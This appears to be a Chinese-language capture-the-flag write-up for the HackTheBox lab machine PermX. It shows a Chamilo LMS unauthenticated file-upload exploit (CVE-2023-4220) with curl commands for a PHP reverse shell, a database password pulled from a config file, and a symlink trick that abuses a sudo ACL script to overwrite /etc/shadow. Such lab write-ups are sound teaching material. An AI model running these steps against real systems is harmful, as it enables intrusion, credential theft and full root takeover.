PermX
端口开放
80,22
子域名扫描
ffuf -u 'http://permx.htb' -H 'host: FUZZ.permx.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302 -mc all
www lms
访问lms.permx.htb
chamilo
查找cve
CVE-2023-4220
Chamilo LMS 未经身份验证的大上传文件远程代码执行
访问/main/inc/lib/javascript/bigupload/inc/bigUpload.php
文件,没有报错,证明文件目录存在
参照文章中的exp利用漏洞
先编写一个php反弹shell,命名为rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
监听端口,收到反弹shell
查看用户目录
mtz
在/var/www/chamilo/app/config
目录下发现一个配置文件
查找文件中关键词
cat configuration.php|grep -n password
发现有数据库密码
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
网络端口确实开放了3306
但是我没有在mysql数据库中找到有用信息
尝试使用数据库密码登录mtz用户
sudo -l
提权
该脚本接受三个参数user(用户名),perm(权限),target(路径)
若路径下文件满足在/home/mtz目录下且路径中不含… ,则修改文件ACL权限(r,rw等)
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
我们希望获得root权限,则可以通过修改root密码实现登录root用户
root密码位于/etc/shadow文件下,但该文件只能由root修改
因此可将/(根目录)软链接到/home/mtz目录的cc下,则可以通过访问/home/mtz/cc访问到根目录,以此修改根目录下shadow文件权限,实现由mtz用户修改root密码
ln -s / cc
sudo /opt/acl.sh mtz rwx /home/mtz/cc/etc/shadow
在攻击机上使用openssl生成新的root密码,按照格式组装
openssl passwd -6 cccc
echo 'root:$6$zItjgPBsySOyqydY$k7pnxyH.edxes/IbLKnZO9pYbb0/bH9RRs5h6haM/UtBRKLvAJ217VNPPn1NKEAl5ikuCe93BdgxNd2gWHl2E.:19871:0:99999:7:::' > /home/mtz/cc/etc/shadow